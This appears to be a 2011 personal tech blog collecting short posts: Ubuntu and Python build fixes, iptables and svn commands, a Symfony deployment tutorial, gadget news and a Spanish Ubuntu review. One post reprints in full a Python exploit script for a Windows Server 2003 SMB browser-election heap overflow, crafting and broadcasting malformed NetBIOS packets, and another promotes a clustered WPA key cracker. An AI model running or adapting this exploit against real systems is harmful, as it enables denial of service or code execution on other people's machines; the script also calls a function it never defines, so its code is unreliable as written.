isnull

Ubuntu 11 : fatal error: libxml/xmlversion.h: No such file or directory

2011-10-18T19:28:00.000-07:00

ERROR: /bin/sh: xslt-config: not found

** make sure the development packages of libxml2 and libxslt are installed **

Using build configuration of libxslt
In file included from src/lxml/lxml.etree.c:239:0:
src/lxml/etree_defs.h:9:31: fatal error: libxml/xmlversion.h: No such file or directory
compilation terminated.
error: Setup script exited with error: command 'gcc' failed with exit status 1

Solution

sudo apt-get install libxml2-dev libxslt-dev

OpenWRT allow remote ssh access

2011-10-16T12:10:00.000-07:00

Allow ssh access from port 12345:

shell>/usr/sbin/iptables -I INPUT 1 -p tcp --dport 12345 -j LOG
shell>/usr/sbin/iptables -I INPUT 1 -p tcp --dport 12345 -j ACCEPT

To check if it loads properly -

shell>/usr/sbin/iptables -L | grep 12345
LOG tcp -- anywhere anywhere tcp dpt:12345 LOG level warning
ACCEPT tcp -- anywhere anywhere tcp dpt:12345

I you want to mantain changes Persistently:

shell>nvram set rc_firewall="/usr/sbin/iptables -I INPUT 1 -p tcp --dport 12345 -j LOG"
shell>nvram set rc_firewall="/usr/sbin/iptables -I INPUT 1 -p tcp --dport 12345 -j ACCEPT"

Ccreate and apply a patch - Subversion

2011-10-05T05:53:00.000-07:00

This is not recommended way to merge code with svn!
What are diff files ?
A diff file is the difference between a version of the source code in the repository and a working copy. It represents any changes, such as additional features or bug fixes, that have been made by a developer in a working copy. A diff file is generated using the svn diff command. To create a patch:

svn diff > svn_patch.diff

To apply the patch

patch -p0 -i svn_patch.diff

wath is patch command?
patch takes a patch file patchfile containing a difference listing produced by the diff program and applies those differences to one or more original files, producing patched versions.

what -pX parameter means?
-pnum or --strip=num Strip the smallest prefix containing num leading slashes from each file name found in the patch file. A sequence of one or more adjacent slashes is counted as a single slash. This controls how file names found in the patch file are treated, in case you keep your files in a different directory than the person who sent out the patch. For example, supposing the file name in the patch file was.
what -i parameter means?
-i patchfile or --input=patchfile Read the patch from patchfile. If patchfile is -, read from standard input, the default.

python setup.py howto uninstall (linux)

2011-07-18T14:05:00.000-07:00

You need to remove all files manually :(
Just two commands :

python setup.py install files_to_delete
cat files_to_delete | xargs rm -rf

URL Regular Expression

2011-06-08T20:44:00.000-07:00

This regular expression matches any internet URLs, very useful!

string pattern = @"((https?|ftp|gopher|telnet|file|notes|ms-help):((//)|(\\\\))+[\w\d:#@%/;$()~_?\+\-=\\\.&]*)"

SOLVED!! Ubuntu 11.04 (Natty Narwhal) 64bits and flash problems

2011-06-03T11:00:00.000-07:00

Download flash player 64bits beta for linux from here :

Adobe Labs Download

Quick link : Download plug-in for 64-bit Linux (TAR.GZ, 4.1 MB)

tar -xvzf flashplayer10_2_p3_64bit_linux_111710.tar.gz
sudo cp libflashplayer.so /usr/lib/mozilla/plugins/

if in firefox dont works, try to check plugins at tools->add-ons, then plugins. I had two flash plugins, after disabling the old one flash was working!

for chromium

sudo cp libflashplayer.so /usr/lib/chromium-browser/plugins

Tutorial : Running a symfony project under Dotcloud

2011-05-26T18:27:00.000-07:00

Dotcloud is under beta now, you can ask for one.

The main issue I got while try to run a symfony project was to change the root directory. Googling fot symfony and dotcloud didnt answers this...so I create this post.

Lets create a new project

dotcloud create your_symfony_project_name

Lets create the www and db

dotcloud deploy --type python your_symfony_project_name.www
dotcloud deploy --type python your_symfony_project_name.db

Now optionally, import the database. In this case I was using mysql

otcloud run your_symfony_project_name.db "cat > data.sql" < your_local_dump_file.sql

Before push your code to www, lets add nginx configuration for Symfony. create nginx.conf at web directory of your project with this:

location ~* \.(ico|css|js|gif|jpe?g|png)(\?[0-9]+)?$ {
  expires 7d;
  break;
}

location / {
  try_files $uri $uri/ /index.php;
}

#Remove this at production!!
location ^~ /frontend_dev.php/ {
  try_files $uri /frontend_dev.php;
}

Next step upload the symfony proyect PHP files.

dotcloud push your_symfony_project_name.www ~/your_symfony_project_name

Symfony needs the root directory to be in "web" so create "dotcloud_build.yml" in your aplication root directory with this:

www:
    approot: web

REMEBER: clear the symfony cache!! To clear cache:

dotcloud ssh your_symfony_project_name.www

cd code
./symfony cache:clear

Thats all folks!

Share internet with Ubuntu 11.04

2011-05-25T07:52:00.000-07:00

This tutorial explains how to share internet from wifi (wlan0) to ethernet (eth0). So the
internet connection comes from the wifi and we share to other computer via ethernet.

edit /etc/network/interfaces, add statis IP to eth0

auto eth0
iface eth0 inet static
        address 10.0.0.1
        netmask 255.255.255.0

Restart network

sudo /etc/init.d/networking restart

Install dhcp3 and dnsmasq

sudo apt-get install dhcp3-server dnsmasq

At this step is possible to get an error, we need to configure dhcp3 server. Edit /etc/dhcp/dhcpd.conf add this

subnet 10.0.0.0 netmask 255.255.255.0 {
  range 10.0.0.2 10.0.0.254;
  option routers 10.0.0.1;
  option domain-name-servers 10.0.0.1;
}

Now restart dhcpd

 sudo /etc/init.d/isc-dhcp-server restart

At this point we need to enable ip forwarding

sudo iptables -A FORWARD -o eth0 -i eth1 -s 10.0.0.0/24 -m conntrack --ctstate NEW -j ACCEPT
sudo iptables -A FORWARD -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
sudo iptables -A POSTROUTING -t nat -j MASQUERADE

now save the iptables commands:

sudo iptables-save | sudo tee /etc/iptables.sav

sudo sh -c "echo 1 > /proc/sys/net/ipv4/ip_forward"

Make a permanent ip_forward=1,edit /etc/sysctl.conf and add these lines:

net.ipv4.conf.default.forwarding=1
net.ipv4.conf.all.forwarding=1

please if you need an easy we to share internet, comment a link!!

[SOLVED] Python PIL : IOError: decoder jpeg not available

2011-05-07T10:24:00.000-07:00

The first thing I check when I got this error was to check if libjpeg was installed.
Lets try this

sudo apt-get install libjpeg libjpeg-dev
sudo apt-get install libfreetype6 libfreetype6-dev

download jpeg source

    tar -xzvf jpegsrc.v8c.tar.gz
    cd jpeg-6b/
    ./configure
    make
    sudo make install

So download Python Imaging Library 1.1.7 Source Kit (all platforms)

The after run the setup.py install, check if the support was ok

--------------------------------------------------------------------
*** TKINTER support not available (Tcl/Tk 8.5 libraries needed)
--- JPEG support available
--- ZLIB (PNG/ZIP) support available
*** FREETYPE2 support not available
--- LITTLECMS support available
--------------------------------------------------------------------

If not, in setup.py in PIL I had to change the path of :

JPEG_ROOT = None
ZLIB_ROOT = None

JPEG_ROOT = libinclude("/usr/")
ZLIB_ROOT = libinclude("/usr/")

[SOLVED] Ubuntu 11.04 Remove unity but use gnome 2

2011-05-03T07:26:00.000-07:00

In other post I explain Howto remove unity and install gnome3. but since gnome3 is unstable this will change unity into default gnome but a stable version :

1) Click on the power button in the upper right corner (mine looks like a light switch) and choose the last option, System Settings.
2) Search for Login Screen
3) Double-click to display
4) Choose Unlock and enter your password
5) Select Ubuntu Classic as default session.

Please comment if you have problems.

90% of programmers dont know that this==super!

2011-05-02T08:29:00.000-07:00

In programming lenguages the use of super is commonly mistaken. Usually super seems to call the method of the super class of the class where the method is implemented.

Factoid : super mean start the search in the superclass of the receiver.

The error is easy to induce, a lot of programmers learns by induction the use of super (or learning by example).

This causes a misconception of the real definition of super and self (or this in java).

The real use of self or super is to specify how to search the message (or method) in the class hierarchy, I don't think a common programmer will think this way (not in the way algorithm is implemented).

Lets see the example :

example3 and example4 are instances of Three and Four respectively.

if you send the message result2 to example3 it will return 2

if you send the message result2 to example4 it will return 4

Also

if you send the message result3 to example3 it will return 2

if you send the message result3 to example4 it will return 2

But what will happened if Three implements the test message test as { return 3 } when you send the result3 message to example4?

It will return 3 or 2? Actually it will return 2. If you don't know why check the definition of self and super

self (or this) means : start the search in the receiver class (receiver here is the object which get the message)

Super really means : start the search in the superclass of the class containing the method in which super was used.

So the answer of the question it will return 2 or 3 depends on where the super sends is implemented (in which class!) not as self!

MOSCRACK The Clustered WPA Cracker v2.06b released

2011-05-01T09:38:00.000-07:00

Moscrack is a perl application designed to facilitate cracking WPA keys in parallel on a group of computers.

Moscrack is intended to facilitate the use of a WPA cracker on a cluster. Currently it has only been used with Mosix (clustering software) and SSH nodes. It works by reading a word list from STDIN or a file, breaking it into chunks and passing those chunks off to seperate processes that run in parallel. The parallel processes can then execute on different nodes in your cluster. All results are checked (to a degree) and recorded on your master node. Logging, error handling, etc… are all handled for you.

Moscrack is designed to be run for long periods of time (days/weeks/etc…). The goal is to make that easy and
reliable for you.

Download moscrack-2.06b.tar.gz

Fructose compile ruby into PHP

2011-04-30T07:08:00.000-07:00

from fructose.org

Fructose is a subset of Ruby that's designed to be compiled into PHP 5.x. The generated code should run on any PHP version above 5.0. Most major Ruby features are supported, including operator overloading and blocks. Eventually, most of the Ruby standard library will be available to Fructose programs via libfructose.

Pretty cool, in theory you can run ruby rail app into a cheap PHP server. I dont think its compatible with ruby rails but...

fructose GitHib Repository

Ubuntu 11.04 natty narwhal Gnome 3 as default (Howto remove Unity)

2011-04-29T05:36:00.000-07:00

IMPORTANT!!! : GNOME 3 PPA is an experimental developer preview and is not recommended for install

if you dont want to install gnome3 (its unstable), please check howto disable unity and use gnome2

Add the ppa sources of gnome3 for Ubuntu 11.04

sudo add-apt-repository ppa:gnome3-team/gnome3
sudo apt-get update
sudo apt-get dist-upgrade
sudo apt-get install gnome-shell

select the GNOME 3 desktop at login prompt

At login screen type your user. You will see at the bottom of the screen some options like this screen shot
Choose Ubuntu Classic Desktop.
Login or Restart!

Optionally you can install

sudo apt-get purge gnome-accessibility-themes

sudo apt-get install gnome-themes

sudo apt-get install gnome-themes-standard

sudo apt-get install gnome-themes-extras

please comment if you have any problem! thanks!

If you have problems try ppa-purge

sudo apt-get install ppa-purge
sudo ppa-purge ppa:gnome3-team/gnome3

What is Bitcoin?

2011-04-23T10:24:00.000-07:00

Bitcoin is different: It wholly replaces state-backed currencies with a digital version that's tougher to forge, cuts across international boundaries, can be stored on your hard drive instead of in a bank

Your Bitcoins can be accessed from anywhere with an Internet connection. Anybody can start mining, buying, selling or accepting Bitcoins regardless of their location.

"No banker can control it. No evil dictator tyrant can print zillions and destroy the value,"

MySQL Most common solution for "ERROR 1005 (HY000): Can't create table (errno: 150)"

2011-04-21T10:15:00.000-07:00

MySQL sucks and one reason (of many) of this are error messages.

Ok this error annoyed me for 1 hour, check everything but not the type of columns! they must be the same type and not null!

At symfony primary keys are created as BIGINT, not INT...check that!

Probando la iso diaria de Ubuntu 11.04 natty (version del 01/04/2011)

2011-04-01T19:06:00.000-07:00

Pantalla instalacion Ubuntu 11.04 natty (daily iso)

Aproximadamente en un mes estaría saliendo la Ubuntu 11.04. Por eso decidí en actualizar mi ubuntu y pasar a usar directamente el alpha 3 de la 11.04 (ahora estoy con kubuntu 11.04 alpha 2 y esta lleno de bugs,pero safa mucho!).

La primera impresion que tuve fue que es mucho mas sencillo, limpio y mas facil de usar que antes.
Tiene cosas muy copadas que ahorran tama;o de pantalla, como por ejemplo que la barra de la aplicacion funciona como en sistema operativo de mac.

A comparacion de KDE 4.6, es ultra rápido. Respecto al gnome que viene con ubuntu 10, yo creo que es mas rápido pero seguro es visualmente mas lindo.

Ya con la 11.04 no hace falta mas gnome-do para buscar y lanzar aplicaciones el propio unity te al clickear en el logo de ubuntu tiene esta funcionalidad de busqueda (la unica razon de porque usaba gnome-do).

Ya creo que quizá todo el mundo sabe que esta nueva versión traera el appmenu en el desktop, aunque no soy de usarlo la verdad que no molesta para nada.

Imagen del desktop con el appmenu

Firefox 4: aunque ya cualquier se lo puede bajar, que el nuevo ubuntu traiga esta versión es una buena noticia.

firefox4 en ubuntu 11.04 natty

Otra cosa que ya mostro mucha gente en internet es el switcher choreado del MACOSX, pero que la verdad esta muy lindo.

Por el momento lo unico que sentí que le faltaba por default es la consola tipo quake (mi preferida yakuake, pero muy costosa de instalar en ubuntu).

En general de usar snow leopard a usar unity, senti que se robaron varias cosas como lo que dije antes de la barra de la aplicacion...pero esto es super util ya que no se pierde espacio en pantalla.

Mas espacio en la pantalla

Después estan los efectos visuales que siempre fueron buenos, pero esta vez son mas elegantes que antes.

Encontre bugs, como por ejemplo al usar ciertas combinaciones de teclas se craseaba (alt-tab por ejemplo).

Se nota que no es final, tiene ciertos problemitas pero para mi que siempre use alphas y betas de k/ubuntu. A comparacion de la alpha de kubuntu, esta la rompe!

Por ahora lo malo que le encontre (aparte de bugs) es el "editor" de imagenes que trae que es a mi gusto muy malo.

Conclusion : todavia no esta para usar diariamente y laburar, crashea seguido. Pero para usar para algo menos critico como usuario común (navegar internet, email,etc) safa bastante.

Gameduino : arduino shield with FPGA

2011-03-04T07:57:00.000-08:00

Gameduino connects your Arduino to a VGA monitor and speakers, so anyone who can write an Arduino sketch can create video games. It's packed full of 8-bit game goodness: hundreds of sprites, smooth scrolling, multi-channel stereo sound.

Essential JavaScript Design Patterns For Beginners (free)

2011-02-28T10:18:00.000-08:00

Essential JavaScript Design Patterns For Beginners is a great guide with a lot of code examples.

Ultra freak Working Aliens Motion Tracker

2011-02-18T09:29:00.000-08:00

Check the video of this ultra freak motion tracker.

Here is the log of the motion tracker with more information

Heart rate measurement from fingertip

2011-02-17T10:52:00.000-08:00

Heart rate measurement indicates the soundness of the human cardiovascular system. This project demonstrates a technique to measure the heart rate by sensing the change in blood volume in a finger artery while the heart is pumping the blood. It consists of an infrared LED that transmits an IR signal through the fingertip of the subject, a part of which is reflected by the blood cells.

How to do usability testing on your web site

2011-02-17T10:26:00.000-08:00

UserTesting.com. They provided what appeared to be a very simple service: you define a script of tasks you want someone to run through and identify some high level demographics of the kind of person you would like to have look at your site. You pay a set price ($39 / test or $29 / test when buying 3 tests initially). I did the three test option and the experience was excellent.

If the only people that give you feedback on your web site are in your personal network (friends, family, colleagues, etc) then you really need to give low cost usability testing a try. You'll likely find out a lot about your site that you probably didn't know.

How to do usability testing on your web site

The dual-core phone that runs Ubuntu

2011-02-16T10:52:00.000-08:00

The Texas Intruments OMAP 4 chip inside it is based on ARM’s Cortex-A9 architecture and in the video below it’s shown running Android 2.3 and Ubunutu 10.04 simultaneously.

New Windows zero-day SMB BROWSER ELECTION Remote Heap Overflow

2011-02-15T18:37:00.000-08:00

The vulnerability is reportedly in the "BowserWriteErrorLogEntry()" function within the "mrxsmb.sys" driver.
The successful exploitation may allow execution of arbitrary code.

Author: Cupidon-3005

Here is the exploit!

####################################################################################
#MS Windows Server 2003 AD Pre-Auth BROWSER ELECTION Remote Heap Overflow
#Release date: 2011-02-14
#Author: Cupidon-3005
#Greet: Winny Thomas, Laurent Gaffie, h07
#Bug: Heap Overflow
#Remote Exploitability: Unlikely
#Local Exploitability: Likely
#Context: Broadcast, Pre-Auth
#####################################################################################
#Mrxsmb.sys, around BowserWriteErrorLog+0x175, while trying to copy 1go from ESI to EDI ...
#Code will look something like this:
#if ((Len + 1) * sizeof(WCHAR)) > TotalBufferSize) { Len = TotalSize/sizeof(WCHAR) - 1; }
#-1 causes Len to go 0xFFFFFFFF
#Feel free to reuse this code without restrictions...
 
import socket,sys,struct
from socket import *
 
if len(sys.argv)<=4:   
 sys.exit("""usage: python sploit.py UR-IP BCAST-IP NBT-NAME AD-NAME
 example: python sploit.py 192.168.1.10 192.168.1.255 OhYeah AD-NETBIOS-NAME""")
 
ourip = sys.argv[1]
host = sys.argv[2]
srcname = sys.argv[3].upper()
dstname = sys.argv[4].upper()
 
 
ELEC            = "\x42\x4f\x00"
WREDIR          = "\x41\x41\x00"
 
def encodename(nbt,service):
    final = '\x20'+''.join([chr((ord(i)>>4) + ord('A'))+chr((ord(i)&0xF) + ord('A')) for i in nbt])+((15 - len(nbt)) * str('\x43\x41'))+service
    return final
 
def lengthlittle(packet,addnum):
    length = struct.pack("i", len(packet)+addnum)[2:4]
    return length
 
def election(srcname):
    elec = "\x08"
    elec+= "\x09" #Be the boss or die
    elec+= "\xa8\x0f\x01\x20" #Be the boss or die
    elec+= "\x1b\xe9\xa5\x00" #Up time
    elec+= "\x00\x00\x00\x00" #Null, like SDLC
    elec+= srcname+"\x00"
    return elec
 
def smbheaderudp(op="\x25"):
    smbheader= "\xff\x53\x4d\x42"
    smbheader+= op
    smbheader+= "\x00"
    smbheader+= "\x00"
    smbheader+= "\x00\x00"
    smbheader+= "\x00"
    smbheader+= "\x00\x00"
    smbheader+= "\x00\x00"
    smbheader+= "\x00\x00\x00\x00\x00\x00\x00\x00"
    smbheader+=  "\x00\x00"
    smbheader+= "\x00\x00"
    smbheader+= "\x00\x00"
    smbheader+= "\x00\x00"
    smbheader+= "\x00\x00"
    return smbheader
 
 
def trans2mailslot(tid="\x80\x0b",ip=ourip,sname="LOVE-SDL",dname="SRD-LOVE",namepipe="\MAILSLOT\BROWSE",srcservice="\x41\x41\x00",dstservice="\x41\x41\x00",pbrowser=""):
    packetbrowser  =  pbrowser                            
    packetmailslot = "\x01\x00"                           
    packetmailslot+= "\x00\x00"                           
    packetmailslot+= "\x02\x00"                           
    packetmailslot+= lengthlittle(packetbrowser+namepipe,4)
    packetmailslot+= namepipe +"\x00"
    packetdatagram = "\x11"
    packetdatagram+= "\x02"
    packetdatagram+= tid
    packetdatagram+= inet_aton(ip)
    packetdatagram+= "\x00\x8a"
    packetdatagram+= "\x00\xa7"
    packetdatagram+= "\x00\x00"
    packetdatagramname = encodename(sname,srcservice)
    packetdatagramname+= encodename(dname,dstservice)
    smbheader= smbheaderudp("\x25")
    packetrans2 = "\x11"
    packetrans2+= "\x00\x00"
    packetrans2+= lengthlittle(packetbrowser,0)
    packetrans2+= "\x00\x00"
    packetrans2+= "\x00\x00"
    packetrans2+= "\x00"
    packetrans2+= "\x00"
    packetrans2+= "\x00\x00"
    packetrans2+= "\xe8\x03\x00\x00"
    packetrans2+= "\x00\x00"
    packetrans2+= "\x00\x00"
    packetrans2+= "\x00\x00"
    packetrans2+= lengthlittle(packetbrowser,0)
    packetrans2+= lengthlittle(smbheader+packetrans2+packetmailslot,4)
    packetrans2+= "\x03"
    packetrans2+= "\x00"
    andoffset = lengthlittle(smbheader+packetrans2+packetmailslot,2)
    lengthcalc = packetdatagramname+smbheader+packetrans2+packetmailslot+packetbrowser
    packetfinal = packetdatagram+packetdatagramname+smbheader+packetrans2+packetmailslot+packetbrowser
    packetotalength = list(packetfinal)
    packetotalength[10:12] = lengthbig(lengthcalc,0)
    packetrans2final = ''.join(packetotalength)
    return packetrans2final
 
def sockbroad(host,sourceservice,destservice,packet):
   s = socket(AF_INET,SOCK_DGRAM)
   s.setsockopt(SOL_SOCKET, SO_BROADCAST,1)
   s.bind(('0.0.0.0', 138))
   try:
      packsmbheader = smbheaderudp("\x25")
      buffer0 = trans2mailslot(tid="\x80\x22",ip=ourip,sname=srcname,dname=dstname,namepipe="\MAILSLOT\BROWSER",srcservice=sourceservice, dstservice=destservice, pbrowser=packet)
      s.sendto(buffer0,(host,138))
   except:
      print "expected SDL error:", sys.exc_info()[0]
      raise
  
sockbroad(host,WREDIR,ELEC,election("A" * 410)) # -> Zing it! (between ~60->410)
print "Happy St-Valentine Bitches\nMSFT found that one loooooooong time ago...."

The Bilibot Project

2011-02-15T10:44:00.000-08:00

The Bilibot Project is an effort to build an affordable robotics platform for educators, hobbyists and researchers.

The main focus of this project is the computer platform, although we do produce the full packaged robot. Lots of small cheap computers exist, but which ones would be good robot brains?